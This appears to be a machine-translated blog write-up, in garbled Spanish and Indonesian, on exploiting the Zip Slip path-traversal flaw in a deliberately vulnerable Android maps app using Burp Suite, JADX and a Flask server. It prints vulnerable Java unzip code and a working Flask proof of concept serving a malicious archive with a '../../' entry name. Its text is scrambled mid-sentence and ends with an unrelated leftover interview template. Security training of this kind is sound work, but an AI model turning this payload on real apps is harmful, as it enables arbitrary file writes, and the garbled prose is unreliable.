¿Qué es la vulnerabilidad ZIP SLIP? Zip Slip es una vulnerabilidad grave que está muy extendida en el proceso de extracción de archivos y que permite a los atacantes escribir cualquier archivo en el sistema. Normalmente, esto da como resultado . El equipo de Snyk Security descubrió y divulgó de manera responsable la vulnerabilidad antes de que se hiciera pública el 5 de junio de 2018. El problema afecta a miles de proyectos, incluidos los que pertenecen a grandes empresas como HP, Amazon, Apache, Pivotal y muchas más. una ejecución remota de código (RCE) Zip Slip se explota a través de archivos especialmente diseñados con nombres de archivo que incluyen navegación de directorios . Esta vulnerabilidad puede ocurrir en muchos formatos de archivo, como tar, ghz, jar, war, cpio, apk, rar y 7z. (eg, ../../evil.sh) El núcleo de esta vulnerabilidad es el cruce de directorios, donde un atacante puede acceder a partes de los archivos del sistema fuera de la carpeta de destino. El atacante puede entonces anular el archivo ejecutable y ejecutarlo de forma remota, o esperar a que el sistema o el usuario llamen al archivo, para poder ejecutar comandos en la máquina de la víctima. Además, esta vulnerabilidad también puede causar daños al sobrescribir archivos de configuración u otros recursos sensibles, y puede explotarse tanto en la máquina del usuario como en el servidor. Cómo aprovechar el código ZIP Kali ini untuk mempelajari cara exploit ZIP Slip Vulnerability nya memakai aplikasi android yang sengaja rentan dibuat untuk praktikum ini. Ini adalah aplikasi seperti Google Maps tetapi untuk menambahkan mapas locales kita harus mendownload recurso nya dengan cara haga clic en el botón di layar. + Tetapi sebelum kita análisis Flow dari cara kerja apk ini kita harus memakai apk Burpsuite. Untuk yang belum tau apk Burpsuite adalah aplikasi yang digunakan untuk menguji keamanan aplikasi web dan mobile. Alat ini berfungsi untuk . mendeteksi kerentanan, menganalisis, dan mengatasi masalah keamanan Anda bisa mendownload Herramientas nya dengan Haga clic en el enlace para acceder a: https://portswigger.net/burp/communitydownload Berikut adalah hasil Intercept ketika kita mau menambahkan mapas nya, dan bisa di análisis kalau apk ini rentan karena permintaan API nya masih memakai protocolo HTTP no menggunakan HTTPS yang dimana memungkinkan Atacante tidak hanya bisa melihat tráfico yang di kirim dan diterima, Tetapi juga bisa manipular/memodifikasi solicitud y respuesta nya seca texto en claro. Dan fakta nya bahwa ketika masih memakai HTTP dapat membuka seluruh area permukaan serangan, Contohnya jenis serangan yang sedang kita buat ini. Bisa dilihat juga menggunakan para melakukan Ingeniería inversa yang dimana kita bisa melakukan análisis estático pada sebuah aplikasi memungkinkan penyerang untuk memahami struktur dan logika aplikasi. Tools JADX Configure el análisis del archivo y aplique la configuración configurada . Sehingga konfigurasi ini mengizinkan clear text trafico di setiap permintaan untuk domain yang diizinkan. Tetapi apakah domain ini benar-benar digunakan untuk CleartextTraffic conciso. Bisa saja ini dibuat hanya untuk pengujian / tidak digunakan dalam producción. network_security_config.xml cleartextTrafficPermitted="true" ini adalah Hasil interceptar ketika kita mendescargar mapas nya yang dimana dia mengambil archivo ZIP en formato .ghz Dan mencoba mendownload file .ghz secara manual dengan copas di laptop. Berikut adalah isi archivo ZIP conciso. Untuk mengetahui lokasi data yang di descomprimir oleh aplikasi kita bisa gunakan comando di adb shell mobile emulator nya dan pastikan juga kalau kita sudah memiliki akses root di emulatornya. find / | grep australia oceania_nauru.map Bisa dilihat kalau ruta del archivo yang di descomprimir ada di: /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps/ Ini juga menunjukkan kepada kita bahwa aplikasi benar-benar meng-unzip file map nya. Etapa de análisis de vulnerabilidad Mari kita lihat lebih dekat pada archivo arbitrario escribir vulnerabilidad en la aplicación, Seperti yang sudah kita ketahui problema nya terkait dengan Archivo ZIP Manejo de mapas. Lakukan lagi análisis estático con la palabra clave mencari: agar mengetahui class kode nya meng-handle file ZIP mapnya. ZipEntry Sebelum kita análisis lebih dalam código nya, saya akan mengikuti panduan dari snyk team untuk mencari kode yang sering diimplementasi tetapi rentan. Berikut adalah salah satu panduan yang khusus untuk bahasa java, Bisa baca lebih lanjut: https://github.com/snyk/zip-slip-vulnerability Notas: Kode berikut rentan terhadap serangan karena tidak melakukan validasi yang memadai terhadap jalur file dalam arsip zip sebelum mengekstraknya. Entonces, dapat mengembalikan nama file dengan jalur relatif yang berbahaya, seperti . Ini berarti file conciso pero bisa diekstrak di luar yang ditentukan. zip slip e.getName() ../../malicious.sh destinationDir InputStream input = zip.getInputStream(e); IOUtils.copy(input, write(f)); Setelah file dibuat, konten file langsung disalin tanpa memeriksa jalur keluaran apakah sudah aman atau tidak. Jika jalur conciso menuju ke lokasi berbahaya, seperti direktori root sistem atau carpeta lain yang seharusnya tidak dapat diakses oleh aplikasi, itu bisa sangat berbahaya. Karena kita sudah mengetahui kode yang rentan sesuai panduan mari kita código de análisis di apk nya: Camino Pembuatan Tanpa Validasi: String str3 = file.getAbsolutePath() + File.separator + nextEntry.getName(); Aquí, seleccione el archivo ( ) que contiene la ruta de acceso deseada del directorio ( ) con el nombre de la entrada zip ( ). Por ejemplo, , que elimina el archivo de la dirección de correo electrónico ( ). str3 file.getAbsolutePath() nextEntry.getName() nextEntry.getName() ../../ file Seleccione la ruta dibuat, archivo atau direktori dibuat langsung: if (nextEntry.isDirectory()) { new File(str3).mkdir(); } else { e(zipInputStream, str3, eVar, "" + i3 + " Unzipping " + str2, size, null); } Ini membuat atau menulis file tanpa memastikan bahwa adalah jalur yang aman. str3 Etapa de explotación Para tahap ini saya menyiapkan 2 hal para entorno serangan nya: : extensión HTTP Mock dari burpsuite ini dapat mengubah respuesta asli dari aplikasinya dengan mencocokkan reglas yang sudah kita kirimkan dari maupun . Pada contoh dibawah ini saya merubah respuesta nya dengan memilih Redirigir a URL, sehingga setiap respuesta aplikasi secacara tiempo real akan mengambil respuesta dari HTTP Mock. Configuración del entorno de simulación HTTP dinámico http history input manual 2. malicioso jadi kita buat untuk zip malicioso nya: Configurar el entorno del servidor local: Karena setiap request dari aturan yang kita cocokkan redirige el servidor local from flask import Flask, jsonify, send_file import zipfile, io app = Flask(__name__) @app.route('/map.json') def map_json(): response = { "maps-0.13.0_0-path": "maps", "maps-0.13.0_0": [ {"name": "maliciousmaps_USA", "size": "300k", "time": "2025-01"}, ] } return jsonify(response) @app.route('/map.ghz') def map_archive(): # Create a ZipFile object zip_buffer = io.BytesIO() filename = "../../downloads/hax" with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: content = "You have been hacked" zip_file.writestr(filename, content) zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) if __name__ == '__main__': app.run(debug=True, port=1234) ¿Cómo entraste en el mundo de la ciberseguridad? ¿Por qué eres una autoridad en seguridad digital? ¿Cuál es su experiencia en este espacio? Los delitos informáticos están en constante evolución. ¿Qué novedades hay en el mundo de los delitos informáticos que la comunidad de HackerNoon podría conocer para luchar contra los estafadores digitales? ¿Existen tendencias o amenazas emergentes en materia de ciberseguridad que los lectores deberían tener en cuenta? Troyanos, malware, spyware y más. ¿Qué novedades hay sobre los últimos errores que podrían estar infectando nuestras queridas PC y robando nuestra información? Pero no acaba ahí: ¡cuéntanos qué otros males cibernéticos nos acechan! ¿Cómo mantenerse seguro en línea? ¿Cómo se está adaptando a las nuevas tecnologías con vulnerabilidades? Los hogares inteligentes, la inteligencia artificial y la Internet de las cosas tienen sus vulnerabilidades. Pensamientos adicionales Conclusión Asegúrese de eliminar toda la información anterior antes de escribir y enviar su borrador. ¡Gracias!